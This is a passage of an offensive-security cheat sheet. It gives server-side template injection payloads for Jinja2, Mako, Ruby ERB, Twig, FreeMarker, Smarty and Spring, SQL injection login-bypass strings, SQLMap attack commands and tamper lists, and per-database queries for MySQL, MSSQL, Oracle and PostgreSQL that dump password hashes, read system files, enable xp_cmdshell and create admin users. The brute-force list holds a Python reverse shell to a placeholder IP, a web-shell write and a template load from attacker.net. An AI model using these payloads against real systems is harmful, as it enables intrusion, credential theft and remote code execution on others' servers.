{{request|attr([request.args.usc*2,request.args.class,request.args.usc*2]|join)}}
{{request|attr(["_"*2,"class","_"*2]|join)}}
{{request|attr(["__","class","__"]|join)}}
{{request|attr("__class__")}}
{{request.__class__}}

#Bypass [ and ]
{{request|attr((request.args.usc*2,request.args.class,request.args.usc*2)|join)}}&class=class&usc=_
{{request|attr(request.args.getlist(request.args.l)|join)}}&l=a&a=_&a=_&a=class&a=_&a=_

#Bypass |join
{{request|attr(request.args.f|format(request.args.a,request.args.a,request.args.a,request.args.a))}}&f=%s%sclass%s%s&a=_

#Bypass most common filters
{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('id')|attr('read')()}}
```

### Mako

```python
#Access to OS module
${self.module.cache.util.os.system("id")}
${self.module.runtime.util.os.system("id")}
${self.template.module.cache.util.os.system("id")}
${self.module.cache.compat.inspect.os.system("id")}
${self.__init__.__globals__['util'].os.system('id')}
${self.template.module.runtime.util.os.system("id")}
${self.module.filters.compat.inspect.os.system("id")}
${self.module.runtime.compat.inspect.os.system("id")}
${self.module.runtime.exceptions.util.os.system("id")}
${self.template.__init__.__globals__['os'].system('id')}
${self.module.cache.util.compat.inspect.os.system("id")}
${self.module.runtime.util.compat.inspect.os.system("id")}
${self.template._mmarker.module.cache.util.os.system("id")}
${self.template.module.cache.compat.inspect.os.system("id")}
${self.module.cache.compat.inspect.linecache.os.system("id")}
${self.template._mmarker.module.runtime.util.os.system("id")}
${self.attr._NSAttr__parent.module.cache.util.os.system("id")}
${self.template.module.filters.compat.inspect.os.system("id")}
${self.template.module.runtime.compat.inspect.os.system("id")}
${self.module.filters.compat.inspect.linecache.os.system("id")}
${self.module.runtime.compat.inspect.linecache.os.system("id")}
${self.template.module.runtime.exceptions.util.os.system("id")}
${self.attr._NSAttr__parent.module.runtime.util.os.system("id")}
${self.context._with_template.module.cache.util.os.system("id")}
${self.module.runtime.exceptions.compat.inspect.os.system("id")}
${self.template.module.cache.util.compat.inspect.os.system("id")}
${self.context._with_template.module.runtime.util.os.system("id")}
${self.module.cache.util.compat.inspect.linecache.os.system("id")}
${self.template.module.runtime.util.compat.inspect.os.system("id")}
${self.module.runtime.util.compat.inspect.linecache.os.system("id")}
${self.module.runtime.exceptions.traceback.linecache.os.system("id")}
${self.module.runtime.exceptions.util.compat.inspect.os.system("id")}
${self.template._mmarker.module.cache.compat.inspect.os.system("id")}
${self.template.module.cache.compat.inspect.linecache.os.system("id")}
${self.attr._NSAttr__parent.template.module.cache.util.os.system("id")}
${self.template._mmarker.module.filters.compat.inspect.os.system("id")}
${self.template._mmarker.module.runtime.compat.inspect.os.system("id")}
${self.attr._NSAttr__parent.module.cache.compat.inspect.os.system("id")}
${self.template._mmarker.module.runtime.exceptions.util.os.system("id")}
${self.template.module.filters.compat.inspect.linecache.os.system("id")}
${self.template.module.runtime.compat.inspect.linecache.os.system("id")}
${self.attr._NSAttr__parent.template.module.runtime.util.os.system("id")}
${self.context._with_template._mmarker.module.cache.util.os.system("id")}
${self.template.module.runtime.exceptions.compat.inspect.os.system("id")}
${self.attr._NSAttr__parent.module.filters.compat.inspect.os.system("id")}
${self.attr._NSAttr__parent.module.runtime.compat.inspect.os.system("id")}
${self.context._with_template.module.cache.compat.inspect.os.system("id")}
${self.module.runtime.exceptions.compat.inspect.linecache.os.system("id")}
${self.attr._NSAttr__parent.module.runtime.exceptions.util.os.system("id")}
${self.context._with_template._mmarker.module.runtime.util.os.system("id")}
${self.context._with_template.module.filters.compat.inspect.os.system("id")}
${self.context._with_template.module.runtime.compat.inspect.os.system("id")}
${self.context._with_template.module.runtime.exceptions.util.os.system("id")}
${self.template.module.runtime.exceptions.traceback.linecache.os.system("id")}
```

## Ruby

```ruby
<%= 7 * 7 %>
#{ 7 * 7 }

#Read File
<%= File.open('/etc/passwd').read %>

#List files and directories
<%= Dir.entries('/') %>

#Code Execution
<%= system('cat /etc/passwd') %>
<%= `ls /` %>
<%= IO.popen('ls /').readlines()  %>
<% require 'open3' %><% @a,@b,@c,@d=Open3.popen3('whoami') %><%= @b.readline()%>
<% require 'open4' %><% @a,@b,@c,@d=Open4.popen4('whoami') %><%= @c.readline()%>
```

## Bypasses

```bash
#Line break URLencoded
%7B%7B%0d%0a`ls`%7D%7D
```

## Intruder Brute Force List

```csharp
"{{'/etc/passwd'|file_excerpt(1,30)}}"@
#{ 3 * 3 }
#{ 7 * 7 }
#{1+1}
#{3*3}
#{session.getAttribute("rtc").getRuntime().exec("/bin/bash -c whoami")}
#{session.getAttribute("rtc").setAccessible(true)}
#{session.setAttribute("rtc","".getClass().forName("java.lang.Runtime").getDeclaredConstructors()[0])}
${"freemarker.template.utility.Execute"?new()("id")}
${1+1}
${6*6}
${7*7}
${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')}
${T(java.lang.System).getenv()}
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
${class.getClassLoader()}
${class.getResource("").getPath()}
${class.getResource("../../../../../index.htm").getContent()}
${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/etc/passwd').toURL().openStream().readAllBytes()?join(" ")}
${request.getAttribute("a")}
${request.getAttribute("c").add("/k")}
${request.getAttribute("c").add("cmd.exe")}
${request.setAttribute("a","".getClass().forName("java.lang.ProcessBuilder").getDeclaredConstructors()[0].newInstance(request.getAttribute("c")).start())}
${request.setAttribute("c","".getClass().forName("java.util.ArrayList").newInstance())}
${self.__init__.__globals__['util'].os.system('id')}
${self.attr._NSAttr__parent.module.cache.compat.inspect.os.system("id")}
${self.attr._NSAttr__parent.module.cache.util.os.system("id")}
${self.attr._NSAttr__parent.module.filters.compat.inspect.os.system("id")}
${self.attr._NSAttr__parent.module.runtime.compat.inspect.os.system("id")}
${self.attr._NSAttr__parent.module.runtime.exceptions.util.os.system("id")}
${self.attr._NSAttr__parent.module.runtime.util.os.system("id")}
${self.attr._NSAttr__parent.template.module.cache.util.os.system("id")}
${self.attr._NSAttr__parent.template.module.runtime.util.os.system("id")}
${self.context._with_template._mmarker.module.cache.util.os.system("id")}
${self.context._with_template._mmarker.module.runtime.util.os.system("id")}
${self.context._with_template.module.cache.compat.inspect.os.system("id")}
${self.context._with_template.module.cache.util.os.system("id")}
${self.context._with_template.module.filters.compat.inspect.os.system("id")}
${self.context._with_template.module.runtime.compat.inspect.os.system("id")}
${self.context._with_template.module.runtime.exceptions.util.os.system("id")}
${self.context._with_template.module.runtime.util.os.system("id")}
${self.module.cache.compat.inspect.linecache.os.system("id")}
${self.module.cache.compat.inspect.os.system("id")}
${self.module.cache.util.compat.inspect.linecache.os.system("id")}
${self.module.cache.util.compat.inspect.os.system("id")}
${self.module.cache.util.os.system("id")}
${self.module.filters.compat.inspect.linecache.os.system("id")}
${self.module.filters.compat.inspect.os.system("id")}
${self.module.runtime.compat.inspect.linecache.os.system("id")}
${self.module.runtime.compat.inspect.os.system("id")}
${self.module.runtime.exceptions.compat.inspect.linecache.os.system("id")}
${self.module.runtime.exceptions.compat.inspect.os.system("id")}
${self.module.runtime.exceptions.traceback.linecache.os.system("id")}
${self.module.runtime.exceptions.util.compat.inspect.os.system("id")}
${self.module.runtime.exceptions.util.os.system("id")}
${self.module.runtime.util.compat.inspect.linecache.os.system("id")}
${self.module.runtime.util.compat.inspect.os.system("id")}
${self.module.runtime.util.os.system("id")}
${self.template.__init__.__globals__['os'].system('id')}
${self.template._mmarker.module.cache.compat.inspect.os.system("id")}
${self.template._mmarker.module.cache.util.os.system("id")}
${self.template._mmarker.module.filters.compat.inspect.os.system("id")}
${self.template._mmarker.module.runtime.compat.inspect.os.system("id")}
${self.template._mmarker.module.runtime.exceptions.util.os.system("id")}
${self.template._mmarker.module.runtime.util.os.system("id")}
${self.template.module.cache.compat.inspect.linecache.os.system("id")}
${self.template.module.cache.compat.inspect.os.system("id")}
${self.template.module.cache.util.compat.inspect.os.system("id")}
${self.template.module.cache.util.os.system("id")}
${self.template.module.filters.compat.inspect.linecache.os.system("id")}
${self.template.module.filters.compat.inspect.os.system("id")}
${self.template.module.runtime.compat.inspect.linecache.os.system("id")}
${self.template.module.runtime.compat.inspect.os.system("id")}
${self.template.module.runtime.exceptions.compat.inspect.os.system("id")}
${self.template.module.runtime.exceptions.traceback.linecache.os.system("id")}
${self.template.module.runtime.exceptions.util.os.system("id")}
${self.template.module.runtime.util.compat.inspect.os.system("id")}
${self.template.module.runtime.util.os.system("id")}
${{3*3}}
${{7*7}}
<#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")}
<% require 'open3' %><% @a,@b,@c,@d=Open3.popen3('whoami') %><%= @b.readline()%>
<% require 'open4' %><% @a,@b,@c,@d=Open4.popen4('whoami') %><%= @c.readline()%>
<%= 3 * 3 %>
<%= 7 * 7 %>
<%= Dir.entries('/') %>
<%= File.open('/etc/passwd').read %>
<%= IO.popen('ls /').readlines()  %>
<%= `ls /` %>
<%= system('cat /etc/passwd') %>
<pre>{% debug %}</pre>
@(1+2)
@(6+5)
@import (inline) "/etc/passwd";
@import (inline) "http://localhost";
[#assign ex = 'freemarker.template.utility.Execute'?new()]${ ex('id')}
body {color: `global.process.mainModule.require("child_process").execSync("id")`;}
{$smarty.version}
{% for key, value in config.iteritems() %}<dt>{{ key|e }}</dt><dd>{{ value|e }}</dd>{% endfor %}
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"ip\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/cat\", \"flag.txt\"]);'").read().zfill(417)}}{%endif%}{% endfor %}
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen(request.args.input).read()}}{%endif%}{%endfor%}
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
{php}echo `id`;{/php}
{php}echo `id`;{/php} //deprecated in smarty v3
{system('cat index.php')}
{system('ls')}
{{ ''.__class__.__mro__[2].__subclasses__() }}
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/var/www/html/myflaskapp/hello.txt', 'w').write('Hello here !') }}
{{ [].class.base.subclasses() }}
{{ config.items()[4][1].__class__.__mro__[2].__subclasses__()[40]("/etc/passwd").read() }}
{{ config.items()[4][1].__class__.__mro__[2].__subclasses__()[40]("/tmp/flag").read() }}
{{ cycler.__init__.__globals__.os.popen('id').read() }}
{{ get_flashed_messages.__globals__.__builtins__.open("/etc/passwd").read() }}
{{ joiner.__init__.__globals__.os.popen('id').read() }}
{{ namespace.__init__.__globals__.os.popen('id').read() }}
{{ request }}
{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.joiner.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.namespace.__init__.__globals__.os.popen('id').read() }}
{{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('ls -la') }}
{{''.__class__.mro()[1].__subclasses__()[396]('cat flag.txt',shell=True,stdout=-1).communicate()[0].strip()}}
{{''.class.mro()[1].subclasses()}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
{{'a'.toUpperCase()}}
{{2*2}}[[3*3]]
{{3*'3'}}
{{3*3}}
{{4*4}}[[5*5]]
{{7*'7'}} would result in 49
{{7*'7'}} would result in 7777777
{{7*7}}
{{['cat$IFS/etc/passwd']|filter('system')}}
{{['cat\x20/etc/passwd']|filter('system')}}
{{['id']|filter('system')}}
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
{{app.request.query.filter(0,0,1024,{'options':'system'})}}
{{app.request.server.all|join(',')}}
{{config.__class__.__init__.__globals__['os'].popen('ls').read()}}
{{config.items()}}
{{dump(app)}}
{{request.__class__}}
{{request|attr("__class__")}}
{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('id')|attr('read')()}}
{{request|attr((request.args.usc*2,request.args.class,request.args.usc*2)|join)}}&class=class&usc=_
{{request|attr(["_"*2,"class","_"*2]|join)}}
{{request|attr(["__","class","__"]|join)}}
{{request|attr([request.args.usc*2,request.args.class,request.args.usc*2]|join)}}
{{request|attr(request.args.f|format(request.args.a,request.args.a,request.args.a,request.args.a))}}&f=%s%sclass%s%s&a=_
{{request|attr(request.args.getlist(request.args.l)|join)}}&l=a&a=_&a=_&a=class&a=_&a=_
{{self}}
%7B%7B%0d%0a`ls`%7D%7D
```

## References

{% embed url="<https://github.com/epinna/tplmap>" %}
tplmap - Server-Side Template Injection and Code Injection Detection and Exploitation Toolç
{% endembed %}

{% embed url="<https://0day.work/jinja2-template-injection-filter-bypasses/>" %}
Jinja2 template injection filter bypasses
{% endembed %}


# SQL Injection (SQLi)

### Boolean Injections

```
admin' --
admin' #
admin'/*
' or 1=1--
' or '1'='1 
' or 1=1#
' or 1=1/*
') or '1'='1--
') or ('1'='1--
-'
' '
'&'
'^'
'*'
' or ''-'
' or '' '
' or ''&'
' or ''^'
' or ''*'
 or -
 or  
 or &
 or ^
 or *
or true--
 or true--
' or true--
) or true--
') or true--
' or 'x'='x
') or ('x')=('x
')) or (('x'))=(('x
 or x=x
) or (x)=(x
)) or ((x))=((x
or 1=1
or 1=1--
or 1=1#
or 1=1/*
admin' --
admin' #
admin'/*
admin' or '1'='1
admin' or '1'='1'--
admin' or '1'='1'#
admin' or '1'='1'/*
admin'or 1=1 or ''='
admin' or 1=1
admin' or 1=1--
admin' or 1=1#
admin' or 1=1/*
admin') or ('1'='1
admin') or ('1'='1'--
admin') or ('1'='1'#
admin') or ('1'='1'/*
admin') or '1'='1
admin') or '1'='1'--
admin') or '1'='1'#
admin') or '1'='1'/*
 '|| '1'='1
'-'
' '
'&'
'^'
'*'
' || ''-'
' || '' '
' || ''&'
' || ''^'
' || ''*'
- 
&
^
*
 || -
 ||  
 || &
 || ^
 || *
|| true--
 || true--
' || true--
) || true--
') || true--
' || 'x'='x
') || ('x')=('x
')) || (('x'))=(('x
 || x=x
) || (x)=(x
)) || ((x))=((x
|| 1=1
|| 1=1--
|| 1=1#
|| 1=1/*
admin' --
admin' #
admin'/*
admin' || '1'='1
admin' || '1'='1'--
admin' || '1'='1'#
admin' || '1'='1'/*
admin'|| 1=1 || ''='
admin' || 1=1
admin' || 1=1--
admin' || 1=1#
admin' || 1=1/*
admin') || ('1'='1
admin') || ('1'='1'--
admin') || ('1'='1'#
admin') || ('1'='1'/*
admin') || '1'='1
admin') || '1'='1'--
admin') || '1'='1'#
admin') || '1'='1'/*
1234 ' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055
admin --
admin || 1=1
admin || 1=1--
admin || 1=1#
admin || 1=1/*
admin|| 1=1 || =
admin || 1=1
admin || 1=1--
admin || 1=1#
admin || 1=1/*
admin) || (1=1
admin) || (1=1--
admin) || (1=1#
admin) || (1=1/*
admin) || 1=1
admin) || 1=1--
admin) || 1=1#
admin) || 1=1/*
1234  AND 1=0 UNION ALL SELECT admin, 81dc9bdb52d04dc20036dbd8313ed055
admin #
admin/*
admin or 1=1
admin or 1=1--
admin or 1=1#
admin or 1=1/*
adminor 1=1 or =
admin or 1=1
admin or 1=1--
admin or 1=1#
admin or 1=1/*
admin) or (1=1
admin) or (1=1--
admin) or (1=1#
admin) or (1=1/*
admin) or 1=1
admin) or 1=1--
admin) or 1=1#
admin) or 1=1/*
'or(1)/*
or(1)/*
'or(1)--
```


# SQLMap

{% embed url="<https://github.com/sqlmapproject/sqlmap>" %}
SQLMap - Automatic SQL injection and database takeover tool
{% endembed %}

### SQLMap parameters

```
-u: URL to attack
-r: Request file
-p: Parameter to 
-v: Verbosity level (0-6, default 1
--proxy: Use a proxy to connect to target URL
--tor: Use Tor anonymity network
--random-agent: Use a random user agent
--level: Level of tests to perform (1-5, default 1)
--risk: Risk of tests to perform (1-3, default 1)
--batch: Never ask for user input, use the default behavior
--is-dba: Check if user is DBA admin
--tamper: Select one or multiple tampers to use
--dbms: Force back-end DBMS to provided value
--flush-session: Flush session files for current target
--technique: SQL Injection techniques to use (default "BEUSTQ")
	B: Boolean-based blind
	E: Error-based blind
	U: Union query-based
	S: Stacked queries
	T: Time-based blind
	Q: Inline queries
--dbs: Check for available DBs
--tables: Check tables for a selected DB
--dump: Dump a selected table
-D: Select a DB
-T: Select a table
```

### Recommended tampers for specific backend

&#x20;Not recommended to use all at the same time

#### General purpose

```
tamper=apostrophemask,apostrophenullencode,base64encode,between,chardoubleencode,charencode,charunicodeencode,equaltolike,greatest,ifnull2ifisnull,multiplespaces,nonrecursivereplacement,percentage,randomcase,securesphere,space2comment,space2plus,space2randomblank,unionalltounion,unmagicquotes
```

#### MySQL

```
tamper=between,bluecoat,charencode,charunicodeencode,concat2concatws,equaltolike,greatest,halfversionedmorekeywords,ifnull2ifisnull,modsecurityversioned,modsecurityzeroversioned,multiplespaces,percentage,randomcase,space2comment,space2hash,space2morehash,space2mysqldash,space2plus,space2randomblank,unionalltounion,unmagicquotes,versionedkeywords,versionedmorekeywords,xforwardedfor
```

#### MSSQL

```
tamper=between,charencode,charunicodeencode,equaltolike,greatest,multiplespaces,nonrecursivereplacement,percentage,randomcase,securesphere,sp_password,space2comment,space2dash,space2mssqlblank,space2mysqldash,space2plus,space2randomblank,unionalltounion,unmagicquotes
```

### Usage examples

```bash
#Attack to 'id' parameter using request file forcing to MySQL back-end. List databases
sqlmap -r request -p id --batch --level 5 --risk 2 --dbms=MySQL --dbs

#Attack to 'id' parameter of 'http://web.com' URL using Tor network. List tables of 'Users' database
sqlmap -u https://web.com/user?id=1 --batch --tor -D Users --tables

#Attack to 'position' parameter of 'http://web.com' URL using three tampers. List databases
sqlmap -u https://web.com/user?id=1&position=100 -p position --batch --dbs --tamper=between,charencode,space2comment
```


# MySQL

Some of the queries in the table below can only be run by an admin. These are marked with **(PRIV)** at the description.

### Version

```sql
SELECT @@version;
```

### Comments

```sql
SELECT 1; #comment
SELECT /*comment*/1;
```

### Current User

```sql
SELECT user();
SELECT system_user;
```

### List Users (PRIV)

```sql
SELECT user FROM mysql.user;
```

### List Password Hashes (PRIV)

```sql
SELECT host, user, password FROM mysql.user;
```

### List Privileges (PRIV)

```sql
#List user privileges
SELECT grantee, privilege_type, is_grantable FROM information_schema.user_privileges

#List privs on databases (schemas)
SELECT grantee, table_schema, privilege_type FROM information_schema.schema_privileges;

#List privs on columns
SELECT table_schema, table_name, column_name, privilege_type FROM information_schema.column_privileges;
```

### List DBA Accounts (PRIV)

```sql
SELECT grantee, privilege_type, is_grantable FROM information_schema.user_privileges WHERE privilege_type = 'SUPER';
SELECT host, user FROM mysql.user WHERE Super_priv = 'Y';
```

### Current Database

```sql
SELECT database();
```

### List Databases

```sql
SELECT schema_name FROM information_schema.schemata;
SELECT distinct(db) FROM mysql.db
```

### List Tables

```sql
SELECT table_schema,table_name FROM information_schema.tables WHERE table_schema != 'mysql' AND table_schema != 'information_schema'
```

### List Columns

```sql
SELECT table_schema, table_name, column_name FROM information_schema.columns WHERE table_schema != 'mysql' AND table_schema != 'information_schema'
```

### Find Tables from Column Name

```sql
#If you want to list all the table names that contain a column LIKE '%password%':
SELECT table_schema, table_name FROM information_schema.columns WHERE column_name = 'password';
```

### Hostname, IP Address

```sql
SELECT @@hostname;
```

### Create Users (PRIV)

```sql
CREATE USER test1 IDENTIFIED BY 'pass1';
```

### Delete Users (PRIV)

```sql
DROP USER test1;
```

### Make User DBA (PRIV)

```sql
GRANT ALL PRIVILEGES ON *.* TO test1@'%';
```

### Location of DB Files

```sql
SELECT @@datadir;
```

### Read Files (PRIV)

```sql
SELECT LOAD_FILE('/etc/passwd');
```

### Write Files (PRIV)

```sql
SELECT * FROM mytable INTO dumpfile '/tmp/somefile';
```


# MSSQL

Some of the queries in the table below can only be run by an admin. These are marked with **(PRIV)** at the description.

### Version

```sql
SELECT @@version;
```

### Comments

```sql
SELECT 1 -- comment
SELECT /*comment*/1
```

### Current User

```sql
SELECT user_name();
SELECT system_user;
SELECT user;
SELECT loginame FROM master..sysprocesses WHERE spid == @@SPID
```

### List Users

```sql
SELECT name FROM master..syslogins
```

### List Password Hashes (PRIV)

```sql
#MSSQL 2000
SELECT name, password FROM master..sysxlogins;

#MSSQL 2000. Need to convert to hex to return hashes in MSSQL error message / some version of query analyzer.
SELECT name, master.dbo.fn_varbintohexstr(password) FROM master..sysxlogins;

#MSSQL 2005
SELECT name, password_hash FROM master.sys.sql_logins;

#MSSQL 2005
SELECT name + '-' + master.sys.fn_varbintohexstr(password_hash) from master.sys.sql_logins;
```

### List Privileges

```sql
#Current privs on a particular object in 2005, 2008
##Current database
SELECT permission_name FROM master..fn_my_permissions(null, 'DATABASE');
##Current server
SELECT permission_name FROM master..fn_my_permissions(null, 'SERVER');
##Permissions on a table
SELECT permission_name FROM master..fn_my_permissions('master..syslogins', 'OBJECT');
SELECT permission_name FROM master..fn_my_permissions('sa', 'USER');

#Permissions on a user-current privs in 2005, 2008
SELECT is_srvrolemember('sysadmin');
SELECT is_srvrolemember('dbcreator');
SELECT is_srvrolemember('bulkadmin');
SELECT is_srvrolemember('diskadmin');
SELECT is_srvrolemember('processadmin');
SELECT is_srvrolemember('serveradmin');
SELECT is_srvrolemember('setupadmin');
SELECT is_srvrolemember('securityadmin');

#Who has a particular priv? 2005, 2008
SELECT name FROM master..syslogins WHERE denylogin = 0;
SELECT name FROM master..syslogins WHERE hasaccess = 1;
SELECT name FROM master..syslogins WHERE isntname = 0;
SELECT name FROM master..syslogins WHERE isntgroup = 0;
SELECT name FROM master..syslogins WHERE sysadmin = 1;
SELECT name FROM master..syslogins WHERE securityadmin = 1;
SELECT name FROM master..syslogins WHERE serveradmin = 1;
SELECT name FROM master..syslogins WHERE setupadmin = 1;
SELECT name FROM master..syslogins WHERE processadmin = 1;
SELECT name FROM master..syslogins WHERE diskadmin = 1;
SELECT name FROM master..syslogins WHERE dbcreator = 1;
SELECT name FROM master..syslogins WHERE bulkadmin = 1;
```

### List DBA Accounts

```sql
#Is your account a sysadmin?  returns 1 for true, 0 for false, NULL for invalid role.  Also try ‘bulkadmin’, ‘systemadmin’.
SELECT is_srvrolemember('sysadmin');

#Is sa a sysadmin? return 1 for true, 0 for false, NULL for invalid role/username.
SELECT is_srvrolemember('sysadmin', 'sa');

#MSSQL 2005
SELECT name FROM master..syslogins WHERE sysadmin = '1';
```

### Current Database

```sql
SELECT DB_NAME();
```

### List Databases

```sql
SELECT name FROM master..sysdatabases;
SELECT DB_NAME(N);
```

### List Tables

```sql
#Use xtype = 'V' for views
SELECT name FROM master..sysobjects WHERE xtype = 'U';
SELECT name FROM someotherdb..sysobjects WHERE xtype = 'U';

#List colum names and types for master..sometable
SELECT master..syscolumns.name, TYPE_NAME(master..syscolumns.xtype) FROM master..syscolumns, master..sysobjects WHERE master..syscolumns.id=master..sysobjects.id AND master..sysobjects.name='sometable';
```

### List Columns

```sql
#For current DB only
SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = 'mytable');

#List colum names and types for master..sometableFind Tables from Column Name
SELECT master..syscolumns.name, TYPE_NAME(master..syscolumns.xtype) FROM master..syscolumns, master..sysobjects WHERE master..syscolumns.id=master..sysobjects.id AND master..sysobjects.name='sometable'; 
```

### Find Tables from Column Name

```sql
#This lists table, column for each column containing the word 'password'
SELECT sysobjects.name as tablename, syscolumns.name as columnname FROM sysobjects JOIN syscolumns ON sysobjects.id = syscolumns.id WHERE sysobjects.xtype = 'U' AND syscolumns.name LIKE '%PASSWORD%';
```

### Hostname, IP Address

```sql
SELECT HOST_NAME();
```

### Create Users (PRIV)

```sql
EXEC sp_addlogin 'user', 'pass';
```

### Delete Users (PRIV)

```sql
EXEC sp_droplogin 'user';
```

### Make User DBA (PRIV)

```sql
EXEC master.dbo.sp_addsrvrolemember 'user', 'sysadmin';
```

### Location of DB Files

```sql
#Location of master.mdf
EXEC sp_helpdb master;

#Location of pubs.mdf
EXEC sp_helpdb pubs; 
```

### Command Execution (PRIV)

```sql
#On MSSQL 2005 you may need to reactivate xp_cmdshell first as it’s disabled by default
EXEC xp_cmdshell 'net user';
--
EXEC sp_configure 'show advanced options', 1; 
RECONFIGURE;

EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
```


# Oracle

Some of the queries in the table below can only be run by an admin. These are marked with **(PRIV)** at the description.

### Version

```sql
SELECT banner FROM v$version WHERE banner LIKE 'Oracle%';
SELECT banner FROM v$version WHERE banner LIKE 'TNS%';
SELECT version FROM v$instance;
```

### Comments

```sql
SELECT 1; -- comment
```

### Current User

```sql
SELECT user FROM dual;
```

### List Users

```sql
SELECT username FROM all_users ORDER BY username;
SELECT name FROM sys.user$;
```

### List Password Hashes (PRIV)

```sql
#Oracle version <= 10g
SELECT name, password, astatus FROM sys.user$. astatus tells you if acct is locked

#Oracle version 11g
SELECT name,spare4 FROM sys.user$
```

### List Privileges (PRIV)

```sql
SELECT FROM session_privs;
SELECT GRANTEE, GRANTED_ROLE FROM DBA_ROLE_PRIVS;

#List a user's privs
SELECT FROM dba_sys_privs WHERE grantee = 'DBSNMP';

#Find users with a particular priv
SELECT grantee FROM dba_sys_privs WHERE privilege = 'SELECT ANY DICTIONARY'; 
```

### List DBA Accounts (PRIV)

```sql
SELECT DISTINCT grantee FROM dba_sys_privs WHERE ADMIN_OPTION = 'YES';
```

### Current Database

```sql
SELECT global_name FROM global_name;
SELECT name FROM v$database;
SELECT instance_name FROM v$instance;
SELECT SYS.DATABASE_NAME FROM DUAL;
```

### List Databases

```sql
#List schemas (one per user)
SELECT DISTINCT owner FROM all_tables;
```

### List Tables

```sql
SELECT table_name FROM all_tables;
SELECT owner, table_name FROM all_tables;
```

### List Columns

```sql
SELECT column_name FROM all_tab_columns WHERE table_name = 'blah';
SELECT column_name FROM all_tab_columns WHERE table_name = 'blah' and owner = 'foo';
```

### Find Tables from Column Name

```sql
#NB: table names are upper case
SELECT owner, table_name FROM all_tab_columns WHERE column_name LIKE '%PASS%';
```

### Hostname, IP Address

```sql
SELECT UTL_INADDR.get_host_name FROM dual;
SELECT host_name FROM v$instance;

#Gets IP address
SELECT UTL_INADDR.get_host_address FROM dual;

#Gets hostnames
SELECT UTL_INADDR.get_host_name(’10.0.0.1′) FROM dual;
```

### Location of DB Files

```sql
SELECT name FROM V$DATAFILE;
```

### Get all tablenames in One String

```sql
#When using union based SQLi with only one row
SELECT rtrim(xmlagg(xmlelement(e, table_name || ',')).extract('//text()').extract('//text()') ,',') from all_tables 
```


# PostgreSQL

Some of the queries in the table below can only be run by an admin. These are marked with **(PRIV)** at the description.

### Version

```sql
SELECT version();
```

### Comments

```sql
SELECT 1; --comment
SELECT /*comment*/1;
```

### Current User

```sql
SELECT user;
SELECT current_user;
SELECT session_user;
SELECT getpgusername();
```

### List Users

```sql
SELECT usename FROM pg_user;
```

### List Password Hashes (PRIV)

```sql
SELECT usename, passwd FROM pg_shadow;
```

### List Privileges

```sql
SELECT usename, usecreatedb, usesuper, usecatupd FROM pg_user;
```

### List DBA Accounts

```sql
SELECT usename FROM pg_user WHERE usesuper IS TRUE;
```

### Check if Current User is Superuser

```sql
SELECT current_setting('is_superuser')='on';
```

### Current Database

```sql
SELECT current_database();
```

### List Databases

```sql
SELECT datname FROM pg_database;
```

### List Tables

```sql
SELECT c.relname FROM pg_catalog.pg_class c LEFT JOIN pg_catalog.pg_namespace n ON n.oid = c.relnamespace WHERE c.relkind IN ('r','') AND n.nspname NOT IN ('pg_catalog', 'pg_toast') AND pg_catalog.pg_table_is_visible(c.oid);
```

### List Columns

```sql
